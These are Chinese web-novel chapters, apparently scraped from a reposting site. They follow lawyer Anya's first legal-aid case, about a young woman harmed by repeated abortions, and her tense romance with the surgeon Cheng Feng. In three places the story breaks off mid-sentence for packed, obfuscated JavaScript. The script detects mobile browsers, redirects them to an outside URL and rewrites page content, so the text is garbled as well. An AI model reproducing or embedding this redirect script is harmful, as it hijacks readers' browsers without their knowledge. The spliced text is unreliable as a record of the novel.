“嗯?”安雅定睛看到已经坐在前排的程枫,他的头发乱了一些,有被手术帽明显压过的痕迹。 “你回来了。”安雅想爬起来伸个懒腰,但手伸到一半,突然想起恩宇还在自己怀里睡着,硬是将胳膊又缩了回去。 “没事,我让他睡在一边了。”程枫转身向她,目光扫过安雅的脸,嘴角微不可察地露出笑意,“送你回家。” “你回来的好快。”安雅想整理下头发,却看见自己肩上的小被子,这次是一只猫猫头。 “怕你等太久,就快点把人救回来了。”他垂下眼,轻笑一声。 剩下的路程很短,安雅本想到了就直接和程枫挥挥手回家。但程枫却停稳了车,走到了她身边。 “你和恩宇说.......辞职的事,我听到了。”踌躇良久,他还是开口。 程枫本就修长的身影被路灯照在地上摇摇晃晃,安雅偷偷踩着他的影子走了几步,突然笑了:“什么啊,你怎么还偷听别人讲话!” 他有点难为情地挠挠头:“我不是有意的,正好买了喝的......等我回去的时候,就听见恩宇在问你了.......” “哈哈哈,听见就听见了,干嘛这么沉重?”一步,两步,三步,安雅站在原地,影子却在向她靠近。 安雅想,既然程枫听到了辞职的事,那他应该也看到了自己的失态,还有那些努力控制着,以为永远不会逃窜出的委屈和失意。 这样想着,安雅从外衣口袋里掏出烟盒,点燃深吸了一口。 缭绕的烟雾下,程枫看不清她的表情。 “哎呀,其实也没什么。我竞争了合伙人,然后失败,所以就辞职了。”她的眼神望向远处,“香港律所那些人,天天嘴上说着司法公正,一看当事人没几个钱,就各种推辞。案子也是,只挑标的大的商事做......” 入喉的温暖被吸进肺里,再缓缓吐出,“无论别人怎么想,但我觉得律师不应该是这样的,起码我不想这样。” “所以既然我改变不了,那我就躲起来。”看着指尖忽明忽暗的火光,安雅自顾自地说了下去:“不就是司法公正,我是个女人怎么了?我也能做到。而且,我不仅要做,还要比他们做的更好。” 说到一半,安雅用手边的矿泉水浇灭了烟头,强忍着情绪:“没什么,我不是回来了。” 像已经蓄满的水池突然被划开了一个口子,她终于可以把在心里翻来覆去却消化不了的东西一口气吐出来。 “安雅.......”程枫的声音很轻,他只是唤着她的名字,一点点靠近。 “我又接到了案子,虽然不赚钱,但今天也赢了,还是当庭宣判。”鲜红的指甲在灯下发出凄艳的光泽,她觉得自己应该是不在乎的,但这幅样子早已让程枫心底暗暗揪成了一团。 “这我还有什么好委屈的啊......”安雅嘴里说着不在乎,转身背对程枫抽烟。 低头的瞬间,泪水突然涌上眼眶。 “别哭。”他的气息就在耳边。 听到背后传来的声音,安雅轻咬住嘴唇,努力表现的不在意,终于挤出一个笑脸。 一转身,却撞进了一个充满消毒水味的怀抱里。 8. 第八章 后来,安雅也交往过两个男朋友。 大学时被本校已经在读硕士的学长追、在英国读硕士也和学校里的华人男孩一起吃饭泡图书馆。 可现在她已经27岁了,在香港过了几年只有打工的日子,到现在,连拥抱的感觉都已经记不得了。 所以在程枫将她揽进怀里的那一刻,安雅心里什么都没有想。 只觉得,凑近一些的话,消毒水的味道好像还挺好闻的。 但当她想要再埋头在这种味道里躲一会儿时,却已经被放开,连人带泪突然被扔到了夜风里。 也是在那短短的几秒钟,安雅脑子里冒出了无数的想法。 第一条是,抱着自己的人是程枫吗?不是吧,他这个人平时做事温吞,又话少谨慎的要命,怎么可能干出这种事? 而最后一条是,真的是他。但好像他只抱了一下,然后就后悔了? 哦,没事了。 “我.......你,我下午也看见你好像哭了。”程枫的手带了些不知所措,耳朵带着脸也红了起来。紧张之下抱也不是,放开也不是。 他眉心皱的厉害,如同望着件珍宝一般不拘束着不敢向前。 恍惚中程枫缓缓抬起手,想抚上安雅的脸。却在快要接触到她时,缓慢地停在了半空中,像疼的慌了心神:“别哭。” 她望向程枫,那是一双太好看的眼睛,在路灯下像含着一块晶莹的琥珀。安雅一时看得入迷,竟也不知道该说些什么。 任由眼眶里的一滴热泪滚落。紧接着,她又自嘲般地笑了起来:“幸好是你,这要给那帮人看到,又得说这就是女人,只会哭,只会闹。” “不是这样的。”他低声辩驳,“你很好,女人也很好,是他们不对。” 安雅正对着程枫深邃的眼眸,他们离得如此近:“我是说......可以委屈。” “但别放在心里,会生病。”程枫的声音从耳边传来,“你可以在我这里尽情不开心,但今晚记得睡个好觉。” “等醒来之后,一切就都会变好。”他一字一句说的认真,“你知道的,勇敢结束的人,会被奖励新的开始。” “为什么这么肯定?”安雅嘟囔着。 “因为我相信你。”他笑着抚上安雅的头发,安慰似的,轻轻拍了拍。 安雅突然想到以前的自己也是这样,因为愿意相信,才会无论做什么事都要争一争,硬是凭着那股心气,才走到了现在。 所以现在又有什么好怕的呢? “输了这一次就当存点运气。”程枫线条分明的下颌在此刻就在安雅眼前,传入她耳中的气息也干净温暖,“以后,不高兴的事记得要说出来。” 没错,现在正是她最好的时候,只要有人愿意相信她,哪怕只有一个人,那也足够自己再重新开始,继续往前走。 夜风温柔,面前的人也是。 手指夹着已经被浇透的烟头,在程枫坚定的眼神里,安雅突然心下一动,鬼使神差地红了眼眶。 被相信的感觉,确实不错。 但安雅也只允许自己沉溺这一秒,她将脸颊边垂落的湿发别在耳后,苍白的小脸上又露出那种坚毅的神情。 向前走了几步,安雅突然转身,双手插袋站在程枫面前。 两人再次四目相对,安雅这才发现,原来他这么高。 “我这么一走,他们肯定觉得我放弃了。”她说的很轻,“也对,不过是一个女人,不足畏惧。” “但我偏要试试看!”不知怎地,程枫甚至被这仰着头的小姑娘逼得退了半步,“我一定能做一个很好很好的律师。” “今天案子赢了,吃的不错,还有人送回家。”安雅转身向程枫挥挥手。 “今天就先跪安吧。”安雅轻飘飘地扔下一句话走远。 望着安雅慢慢走远的身影,程枫轻笑了一声,随即望着自己刚刚触碰过安雅的手,心底一阵暖流涌过。 - 第二天一早,安雅就爬起床来,从行李箱中拿出从香港带回来唯一的一套正装,细心熨烫好,挂在床边。 这应该是她正式成为法援律师的第一天。 化妆时,她看着镜子里的自己逐渐出神,眼前又出现了那个充满了消毒水味道的拥抱。 蜻蜓点水一般,稍纵即逝。 没容得下她多想,安妈直接从身后把她拉到了餐桌前:“别照了,赶紧吃饭。” “哎呦,怎么画这么一个大花脸!”从厨房端出早饭的安爸惊呼,“嘴涂这么红,还怎么吃啊?” “我不仅要吃,还要多吃!”安雅笑着夹起桌上的小笼包,一口一个,飞速消灭。 安妈一边盛饭,一边扯着安雅的袖子:“你回来了又没什么事,不赶时间,慢点吃对胃好。” “有事。”安雅咽下最后一口豆浆走向自己卧室,“你女儿是律师,不管在哪,都是律师。” “好好好,那安律今天准备去哪伸张正义啊?”妈妈也不扫兴。 “区里的法律援助中心,以后就在那边工作了。”安雅拿起玄关处的包包,在出门之前还不忘立一个flag——“我的目标是追求公义”。 说完,踩着高跟鞋扬长而去。 追求公义的目标不知道能不能实现,但刚出门就被淋一头雨,对安雅来说实在不是很愉快。 好在不远处就有出租车,她也就不必再折返回去,半途而废是最浪费时间和精力的决定。 一路上安雅都在心里怪自己怎么会忘了看天气,她这些年为了尽量减少对工作的影响,生活习惯方面,事无巨细都有一套自己的计划法则。出门看天气,包里带伞,这是最基础的两项。 所以这事还得怪在程枫头上。 对,都怪他! 有仇就要报,安雅拿起手机就发了一条消息给程枫——“今天忘带伞了,你下班后还接单吗?” 程枫的回答倒也简单:“你昨天答应过我了。” 安雅忍住满头问号。 “按时下班的日子,都要一起吃饭。” 安雅瞥了眼手机,嘴角浮上一丝微笑,冲进雨里。 - 跳下出租车,她几步就跑到了法援中心的大门口。 高跟鞋进了水,丝袜也被溅湿了一块,不过好在都不严重。安雅想,去了办公室用纸巾擦一擦,不多会儿也就干了。 正庆幸自己来得早,应该不会被别人撞见自己的狼狈样。 “安律师来了!” 结果等她刚跨进法援中心的大门,就在厅里看到刘宁宁已经带着一堆人在等了。 “对对对,这就是安律师,小凯的案子就是她做的!”再次和前一天当事人的妈妈见面,她还是那么热情,“找她准没错,连坐牢判刑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464724|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案子都能无罪,更别说你这个了!” 安雅拢了一把沾着水珠的长发,礼貌又不失尴尬地挤出一个微笑:“刘姐,这是......怎么回事啊。” “安律师,这是小凯的妈妈,这是小凯的姨妈姨夫。”刘宁宁向安雅一一介绍了在场的人,“张先生和太太有案子想要委托你做,一大早就过来等着了。” “安律师,你可一定要为我们做主啊!”张建业大有要扑倒在地,请苍天,辨忠奸的势头。只是这青天大老爷现在变成了安雅,这着实给了她不小的震撼。 安雅甚至被吓后退了两步:“那个......张先生,我们只是律师。” “对对对,新时代了,没有法师,没有青天大老爷,也没有法官大人,大家都是提供法律服务的。”刘宁宁见状,也把张先生和太太一起请到了安雅的办公室,“走,咱们去办公室坐下聊。” 安雅没想到自己第一天上班,就是以这种仓惶的开场。 终于坐在自己的办公桌前,安雅感受着脚在鞋里被雨水浸得冰凉,脸上继续保持着不明所以的微笑。 刘宁宁端了杯热水放在安雅的桌上,小声在她耳边叮嘱:“你们先聊着,我老早就给他们电话轰炸薅过来,连早饭都没来得及吃,要不要给你也带点?” “不......不用了。”安雅连连摇头。 她还不能完全理解,为什么作为中心主任的刘宁宁,老是要拉着她做一些摸鱼的事.......难道这是什么新型职场测试? “那我去啦。”刘宁宁准备拔腿就跑,“哦,我还想起来一件事,咱们中心接收了政法大学的学生暑期实习,我给你这也留了一个人,跟你说一声,以后就有帮手了。” 安雅边听边用纸巾擦着脸颊边的水珠,眼看着领导安排完工作之后就飞速跑路。整个办公室就只剩下了小凯的妈妈和张建业夫妇。 “安律师,这事,还是让他妈说吧,我说不出口。”张建业似乎有什么难言之隐,“都怪我没把女儿教育好,现在她躺在医院里,我们连医药费都拿不出来。” “孩子昨晚做手术的钱还是借的。”张太太话还没说出口就开始流眼泪,“我们也是没办法了啊,安律师你也是女人,你应该明白,这种事这种事闹出去就是毁了孩子一辈子的清白了,你可一定要.......” “对对对,安律师,你们一定不能把这个事说出去,不然后面小娇还怎么嫁人啊!”看姐姐姐夫两人都不愿意谈,小凯妈妈突然插话进来,“但咱们不能便宜了那个狗东西,把小娇害得那么惨,得给他判强/奸才行!” 几个人你一言我一语,但都是在绕着圈子打哑谜。 虽然安雅早就立刻敏锐地感觉到这可能是有关性侵害方面的案件。但几个人绕来绕去,安雅听了几分钟,却没听到一点案情。 “那个......要不你们选一个人来说,讲案情就行,然后我们再讨论后面的行为定性、辩护思路以及其它的,好吗?”安雅从坐下手里就一直握着万宝龙的墨水笔,但却连一个字都没机会写。 不知是不是因为早上吹了冷风淋了雨,还是被三个人吵吵嚷嚷却毫无信息量的对话创到,安雅不自觉地用手抚上了额头。 本宫的头有点痛。 终于等到张建业开口讲案情,但那短短的几个字却像一枚炸弹般,把在场的人都轰的外焦里嫩。 9. 第九章 第一次,在委托人撕心裂肺的哀号中,安雅差点没绷住。 “那个王八蛋今年才17岁!”张建业喷出的唾沫星子在安雅和他之间的空气中奋勇向前,最后消失不见。连同他的气势,也逐渐低了下去,“但小娇已经为他流了5个孩子.......” 安雅倒吸了一口冷气。 谁说小地方不能锻炼律师的办案能力?这案件的精彩程度,完全不熟她小时候在家吃午饭的时候看过的法制节目。 如果这位小娇真的是因为受到了性侵害而被迫不断堕胎,那5次手术就意味着这场犯罪的时长和强度都是难以想象的。 而且对方还是个限制民事行为能力人。未成年就敢捅这么大的篓子,安雅在心里怪自己还是接触这类案子太少了,心里不免五味杂陈。 更让安雅疑惑的是,既然这件事已经发生了那么久,为什么直系亲属现在才开始介入! “应该是有可查的医疗记录吧?”说实话,安雅还不是很相信这个数字,“如果未来一旦进入起诉程序,你们现在说的每一句话,都要证据。所以我需要再确认一下。” 此话一出,张建业和太太私下交换了一个眼神,双双沉默。 “前几年咱们这管的不是很严,孩子估计也怕我们知道又要骂她,有几次应该是在小诊所做的,拿不出什么证据来。”张太太幽幽地。 安雅感觉到自己的头愈发重了:“这目前从你们这里收集到的信息比较混乱。当事人应该是最了解案情的人,我需要见她。” “还是我先来说吧。”张太太像是下定了某种决心,双手用力地绞在一起,指甲泛白,“我女儿,就是小娇,现在人还在医院,来不了。” “嗯,现在当事人状态怎么样?已经脱离危险了吗?”安雅在白纸的中心写下了“小娇”两个大字,“先好好养病,后续我可以去医院见她。” “对。”张太太擦了擦眼角还没干的泪水,“她昨晚差点死在医院了!都怪那个王八蛋,我们一定要告他!” 安雅在白纸上有节率地轻点着笔尖:“现在我们大概知道小娇先前有多次流产的经历,这和她昨晚住院有没有关系?还是说她因为其它事住院,又是什么人伤害了她,方便透露吗?” 安雅放缓了语气,无论如何,这位当事人都值得同情。 在读书时,她就格外关注性侵害案件的相关内容。不仅是因为这种案子的取证难度大,而且证据链条极易断裂,很多时候根本无法形成一个回环,这直接导致了辩护时的地狱级难度。 再加上东亚国家比较明显的文化倾向,更多的女性受害者因为迫于人言可畏等等各方面原因,选择把这些事藏在心里自己消化,就更导致了相关案例的数量偏少。反馈到司法程序和相关立法内容,也就显得较为落后和迟缓。 沉疴难除,很难把责任简单地归结到某一个人的身上。 简单来说,这类案件在国内就是:难搞。 但张太太有一句话说的很对,都是女人,她能理解。不仅能理解,更愿意试试。 不只为了哪一个受害者。每一个此类案件的成功完结,都是对司法实践的一次正向反馈。安雅一直相信,只要这样的声音足够多,事情总会有变化。 而她不仅要等,也要做。 “他......那个吴欢,我们都说了多少次,他这个人品行不端正,一看就不是什么好人。但小娇不听,偏要和他在一起。”能看出张太太恨急了吴欢,叫他名字的时候,连说话都不利索,“昨晚我们接到医院的电话才知道,小娇为了他,又去做人流,然后大出血,差点就救不回来了!” “嗯,也就是说,这个吴欢,是小娇的男朋友,且小娇为他多次去堕胎,最近一次的人流导致了生命危险。”安雅试图总结。 她不知道这三个人是做了多大的心理斗争才愿意坐在这里,为自己的女儿找一个公道。所以总不能一上来就戳委托人的心窝,安雅还是选择了温和的询问方式。 “对!听医院说,要不是他们那有个特聘的医生做过这种手术,半夜跑来加班,这才给小娇捡回来了一条命。不然我们现在还不知道在哪哭呢!” 安雅眼前又浮现出前一天夜里程枫跑向住院部的身影。 人流、大出血、半夜加班....... 但当事人的父母没有反驳自己刚才提到的男女朋友关系。 安雅在纸的下方画上了一个问号,继续发问:“小娇现在人在哪个医院?已经脱离危险了吗?” “听医生说已经没有生命危险了,但是子宫功能受损,可能以后再也生不了孩子了......”张太太说到动情处,又忍不住大哭,“安律师,请你帮帮小娇,她受了欺负,不能便宜了坏人啊!” “她是在区医院做的手术?”安雅的笔顿在问号旁。 “是啊!”张太太疑惑,“你怎么知道?” “猜的。”安雅心下已经明了,但又不能明说,“我也是听说区医院的医疗水平相比附近几个地方来说,整体比较强。” “下面的话我就直接问了。”安雅停顿了片刻,“现在你们手里有什么证据能证明,小娇是被迫和吴欢发生关系的吗?” “啊?”张建业喉咙里发出一声沉闷的惊诧,“我们为了让她和那个吴欢分手,办法都想尽了,最后她完全不听,直接搬出家去住。后面也不和我们联系了,再接到电话就是昨晚,医院下的病危通知书.......” 张太太沉默许久:“我们没有你说的证据。小娇......她应该是愿意的吧。” 在纸上划拨的手指骤然停下,安雅抬头望着几人,眼里的坚定,逐渐变为了茫然。 停顿了几秒,她终于在手边那个问号上,画了一个大大的叉。 “如果当事人是自愿与他人发生关系,那......这个案子的方向就会有所变化。”安雅尽量思考着措辞,“结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464725|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理想的话,应该是可以得到一些民事赔偿。但这还牵扯到对方是限制民事行为能力人,受限于监护人的经济状况。目前我还不了解这位吴欢的情况,也就不能贸然给出你们一个数目。” “至于其它方面,比如你们刚才说过的强/奸此类的刑事罪行,我的看法是......不乐观。”她边说边在纸上记下一些关键词,“当务之急是我需要和小娇谈一谈,毕竟她才是当事人,我需要尊重她的意见。” “什么!这都不算是强/奸?”张建业惊呼! “他三番五次逼小娇去做人流,这是事实!小娇现在还躺在床上,以后都不能生育了。安律师,你也是女人,你一定懂的。她才那么小,是被骗的,被逼的啊!”张太太涕泪横流,哭的上气不接下气。 “我们的证据链还需要补充。”一时间,安雅的脑子里闪过无数种方案,“后面还需要做很多工作,目前看来,走民事索赔路线是最合理的。你们知道对方家庭的经济状况如何吗?” 办公室里又一次陷入了沉默。 “那关于小娇的就诊记录,目前的救治情况这些,可以提供给案件作为证据吗?”安雅只能开始计划下一步。 张建业急忙开口:“小娇现在刚从昏迷中醒来,如果可以的话,我们还是希望不要把这件事做的太张扬。要是她的这些事都成了证据,那得多少人都知道?以后她还怎么在这小地方活?” 安雅差点眼前一黑。 张太太再次开口时,也有意识的避开了安雅提出的问题:“安律师,我听人说,法律最讲究公平。我们一家都没读过几天书,没什么钱,也不认识什么当官的做生意的,虽然说是贱命一条,但也只有小娇一个女儿,也是宝贝着长大的。不管是赔钱还是坐牢,你能不能想想办法,不要放过那个人渣啊!” 安雅轻叹一口气:“你们的心情我能理解,先让小娇养好身体,方便的话,安排我们见面,越快越好。” 送走张建业一家后,安雅一个人靠在办公桌后,望着雨里瑟瑟发抖的爬山虎,握着手机发了很久呆,连刘宁宁走进来都没发现。 “在想案子?”刘宁宁一屁股坐在安雅对面的沙发上。 看安雅点点头,刘宁宁便自顾自地说了下去:“这事不好办。我替你查过了,那个吴欢……”说着她便将自己手里的文件袋递给安雅,“你看完再考虑怎么做辩护意见。” “不管怎么样,你只需要记住一点就行,在法援中心没人要求必须赢。”刘宁宁轻叹了口气,“虽然一般我们不能拒绝当事人的委托,但做律师是个良心活,只要尽力就好,别太逼自己。” 在刘宁宁的注视下,安雅沉默着拆开了面前的牛皮纸袋,几张带着照片的人员信息跃入眼帘。 只一眼,安雅便再也无法平静。 她一把将本不多的几页资料抽出,手下翻阅的速度越来越快,直到看完最后一页,刘宁宁才终于看到白纸后安雅错愕的表情。 10. 第十章 那天的雨下了很久,久到安雅整个人都被浸没在湿淋淋的水汽中。 “刑事罪名大概率不能成立,民事想要能正常取到有用的证据,基本难于登天……”刘宁宁轻拍了拍安雅的肩背,“我们都再想想,今天的班就先上到这吧。” 待刘宁宁离开后许久,安雅还站在原地久久不能回神。这一刻,她突然理解了小娇一家人的愤怒和逃避。 她冷冷地盯着办工桌上的信封,还不能接受仅凭这薄薄的几页纸,就可以足以摧毁她走正常程序得到有用证据的可能性。 但每个地方都有它们自己的规则,尤其是小地方,更容易有人手眼通天。而且性侵害相关案情的取证本就困难,她能做的实在太有限。 正在一筹莫展之际,突然,她的脑中闪过了程枫的脸。 【那个......你在休息吗?】打了删,删了打,最后说出了一堆废话。 【在吃午饭。】程枫秒回。 安雅瞥了眼手机右上角的时间,已经是下午一点半了,他怎么才吃午饭? 【我有些事想问你。】又磨蹭了许久,她还没想好应该怎么说。 原则上作为律师,她这样做没什么问题。但对程枫来说,那是患者的信息,他不应该透露。 然后情况就变成了,好像自己在明知有风险的情况下,还要为难他一样。 安雅思前想后,还是删掉了那条没发出的信息。 结果没等到消息的程枫直接一个电话打了过来。 看着手里不断震动的手机,安雅像拿着什么烫手的山芋一样,扔也不能扔,接起来也不知道该说什么。 “两点还有一场手术。”程枫苏润的声音轻轻灌入安雅的耳朵,“怕到时候来不及看你的消息,就打给你了。” “你怎么想起来找我?” 那声音听得安雅心头一热:“我想问...... “正好,我也有事想跟你说。” 两人一前一后,几乎再一次同时开口。 “你先说。”程枫话音里有抑制不住的宠溺。 讲电话的时候,安雅因为疲倦全程都闭着眼睛。她脑中不断闪过在香港的那几年,要想在这个行业里生存下去,负责带教她的老师刚见面就告诉了她秘诀——为了找到可使用的证据,用尽一切可用的手段。 至于过程,只要没人问,也没人说,那就都是合法的,有效的。 她也犹豫过,也怀疑过。可这些都抵不上法槌落下后,宣告自己赢的那一刻。 那是权利,也是欲望。没有人能拒绝那样的时刻,包括安雅在内。 但现在,风险转移到了程枫身上。 安雅第一次开始思考,如果胜利的代价是要拿程枫未来的职业生涯去冒险,自己还想要赢吗? “怎么了?”电话那边的人好像发现了她的不对劲,“是不是太累了?一会儿带好吃的给你。” 程枫对这些还都一无所知,只顾着一个劲儿地关心安雅。 胸腔里瞬间涌起的愧疚夹杂着羞耻将安雅冲击地溃不成军:“那你下午一定要早点来好不好?” “我等你。”她喃喃道,神情有些飘忽。 初夏时的暴雨天气来得快,去得也快,安雅已经多年未见过这样缠绵的时刻。 她又想到以前,那时程枫已经在读高三,只短短的几个月后,安雅便在学校的公示栏里看到他的名字。 高三行知班,程枫,推免中国医科学院北京协和医学院,八年制临床医学(由清华大学代为招生) 她那时就知道,安城的那所省重点并没有保送协和这么大的能耐,厉害的是程枫。 在安城中学好到断层的成绩,加上一个足够有远见和能力的父亲,就足够让程枫成为安城中学前无古人的神话。 那时程枫母亲的病在照顾家庭的重压下逐渐严重,但程父却依旧常年不着家。安雅听说他爸爸是当时老一辈落榜的高考生,因为家里有一堆弟弟妹妹要养,所以早早就出来养家糊口。现在中年得志,自然不会轻易放过程枫。 当然,这些事都是两人熟起来之后,程枫一点一点讲给安雅听的。 后来程枫的父亲砸了大价钱,委托了北京的中介为程枫申请到了协和预科的入学考试。欣喜若狂的程父连夜押着他上了飞机。程枫也正好借着假期去协和读预科的幌子,终于说服了父亲带母亲一同去北京治病。 有些鸡只负责下一个蛋,然后便寄希望于蛋长成可以独挡一面的老鹰,这件事本身就不科学。 但程枫这个蛋最后还真的成了老鹰。 安雅继续想着,回忆就像开了倍速一般,她和程枫兜兜转转,最后又在这个地方再见。 她不知道程枫一个人是如何走到了今天,但只要被牵连进这个案子,他目前生活中所有的一切,就都有受到威胁的可能。 “砰!”的一声,办公室的老式木窗被风从外面吹开。 疾风夹杂着雨滴瞬间向安雅袭来,一时间办公桌上的资料被风吹得四处飘散。在雨滴落在她脸上的瞬间,安雅终于想明白了一件事。 随即,她便背起包包走向停车场。 - 程枫还没将车停好,隔着窗子就看见了一身黑的安雅站在大门口。 暴雨中,她的身影看起来纤细又单薄。 程枫突然一瞬恍惚,他很多时候都不知道,安雅身上的那股力量来自于何处。好像她什么都不怕,也什么都不会影响到她。 “快上车。”程枫举了把黑色的雨伞靠近,一路上护着她坐上了副驾。 安雅还在思考着如何开口,转头便看见程枫被雨淋湿了一大片的西装,准备了一整天的话在这一刻突然就哽在了喉咙。 “怎么了?”看安雅眼角低垂,程枫好像也意识到了什么。 “昨晚,你赶过去做的手术,最后怎么样?”安雅说地磕磕绊绊。 她刚回到安城不久,虽然入职了法援中心,但还没有在当地完整地做过一件全流程的案子,所以对很多程序上的规则都并不了解。不同地区的法律环境和法律习惯可能会对案情造成巨大的影响,这一点,安雅早就知道。 眼下小娇这个案子,她很需要一个能提供给她医疗咨询和相关证据收集的帮手。而且这个人,要足够能让自己信任,正好程枫就是这方面的专家。 在刚接触到小娇一家人的时候,安雅就想过,如果他愿意帮忙的话,就是最好的。 就算程枫因为各种原因不能参与,也可以提前评估,用他多年的人脉和经验推荐那些可能会做出对安雅一方有利结果的医疗鉴定机构或专家。 只可惜,过了昨晚之后,安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464726|169808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅的当事人同时也变成了程枫的患者,这件事就立刻陷入了两难境地。 再加上那份文件中提到的内容,无论是谁,只要站在了安雅这边帮忙,必然就会成为对方的靶子。 想到这里,安雅已然在心里打起了退堂鼓。 “嗯?”显然程枫没有想到她会问这个,但还是好脾气地顺口回答,“输了几袋血,止血纱布也用了不少。” “哎.......她还很年轻,但损伤了子宫功能,可能以后.......”程枫这个人就是这样,就算已经做了很多年医生,但还是真心会为病人而感到唏嘘。 “好了,你先听我说!”安雅急忙打断程枫。有些话一旦说出口,就有了法律效力,她是动过念头,但现在面前的人是程枫。 “今天,有个人的家属来找我,希望我代理一个案子,但目前我们没法拼出完整的证据链条。”失落堵在她心口。 “但正巧我有个朋友,他是医生,或许能给我提供一些关于医疗内容的咨询,以及帮我推荐有利于我方收集证据的医疗鉴定机构或者专家。”安雅的语气慢慢弱了下去,“你知道的,我刚回来,很多东西都不熟悉,如果有了他的帮助,这个案子我就有了七成的把握。” 程枫沉默地听着,他突然觉得自己心里空落落的,有种脚不着地的悬浮感。这种感觉随着安雅接下来说的话愈发加深,逐渐让他喘不过气来。 “现在只有一个问题,他可能是我当事人的主治医师,而且被告的情况非常特殊,如果之后他帮过我的事情一旦暴露,对他的职业生涯来说,将会非常不利。”一口气说完后,安雅不敢抬头看程枫的表情,“可是现在,我既想要提醒他,在未来我做这个案子的期间,一定不要不小心向我透露任何有关患者的任何信息.......又发疯了一样的,想要他帮我。” “就像以前那样。”安雅缓缓转身,一股忧伤涌上心头,眼中满是落寞,“如果是你,你会怎么做?” 程枫好看的眼睛在镜片后因为吃惊而微微睁大,沉默的罅隙中,像是在等待着安雅的解释。 说完后,安雅又开始立刻后悔。可能是因为在程枫面前,她总能卸下防备,毫无保留。 她已经下定了决心,只有这一次。也不藏着掖着地去套话,或者用些香港那边律师们常用的阴招,最差就是放弃这个案子,她也没什么可惜的。 胸腔中传来猛烈的跳动,等待的几秒钟对安雅来说异常难捱。 “呵......”半晌,程枫终于想明白了似的,自嘲般发出一声轻叹,“原来.......你是因为这个,今天才主动给我打电话的......” 那一抹失望的神情在他的脸上停留了很久,长的仿佛时间都为这失望而停滞,周围的空气也变得沉闷压抑。 “听起来你好像真的很需要一个帮手。”程枫极力克制着语气里的嘲弄,“我都差点忘了,只有在这种时候,你才会想起我。” 听到回答时,安雅的身体僵直,心中的愧疚和车窗外的暴雨一般袭来,仿佛她连同这个城市都被困在了雨里。 那种从青春期一直蔓延至今的下坠感在安雅身上再次出现,只是这一次,程枫的神情却是前所未有的平静。 他克制着微微颤抖的双手,半晌,轻轻问出一句话:“那我,算什么呢?” 11. 第十一章 安雅没想到,被案子引出的问题最终会转向这里。 她再一次开始后悔,自己根本就不应该告诉程枫这件事,无论是为了他还是为了自己。明明下午的时候,她已经下定了决心。 怎么只是因为见了他,就又什么都顾不得了。只要听见程枫的声音,看见他,她总能再次回到那个夏天。毫无保留,也充满期待。 这一刻,安雅才后知后觉,对于程枫,她好像又做错了点什么。 见她久久没有回应,程枫依旧保持着刚才的姿势坐在安雅面前,整个人都很安静,只祈求般地望向她 安雅看着这一幕,安雅突然觉得熟悉,好像很久以前,自己也是这样。 那后来呢?为什么他们没有在一起?时间像静止般,安雅就停在那里思考了一会儿,但是没有结果,什么都没有。 那时她渴求的,甚至祈求的,想要从程枫这里要点什么。承诺也好,名头也罢,哪怕只是一点点确定的认同和回应,都足以让她坚持下去。 但现在,面对程枫同样的行为,安雅却突然看不懂了。 程枫倾身调试出风口,袖口掠过她手背,激起细小的战栗。他身上的松木香陡然浓烈,安雅看见他耳后翘起了几根头发,这个她以为会永远年轻妥帖一丝不苟的男人,终究也有了些许蹉跎。 安雅的心里突然涌上一阵报复似的满足。很好,很公平,她错过的,程枫也一样失去了。 等待了许久,程枫的喉结上下滚动,像是压下了自己心底的起伏,带着几分苦涩:“如果是我,我会选择告诉那个朋友。” “然后,要是真的需要,她就会告诉我。”程枫动了动唇,又回到了他一贯清淡雅致的声线,“我会按照她想要的去做,不在乎结果的那种。” 是年少时一眼的喜欢,还是再遇见时候的欣喜,亦或是现在卡在中间,不明不白的酸涩,安雅也分不清。 “嗯......这个案子的确会难处理一点,但也不是没有办法,你别担心。”终于把话题拉了回来,安雅不喜欢那种莫名的压力。 “不管怎么说,还是要谢谢你。”她终于松了一口气。 “对不起,刚刚,是我越界了。”程枫眨了眨眼,忍住泛上来的酸涩感,用略带沙哑的声音轻颤着,“我只是,不知道该怎么办。” 到底他是在说这个案子,还是其它什么,安雅也分不清楚。 “哎呀,都是我不好,明知道这个事情有点难,还把问题抛给你。”她故作轻松,“不过因为这个案子,最近可能真的要忙起来了。” 成年人之间好像就是这样,说话也好,做事也罢,总是要给对方留一点余地。 安雅欲言又止:“今天就先回家,要是之后几天得加班的话.......过阵子我再请你吃饭好不好?” 听懂了安雅的话,程枫的脸色逐渐变得苍白,但还是挤出了一个笑容,他声音很轻:“好,那我等你消息。” 甚至不敢看程枫,安雅逃也一般的下了车。 完全没注意到在自己身后,那辆车的雨刷器突然自动启动,刮走了玻璃上并不存在的雨水。 - 当晚,安雅又做了那个梦。 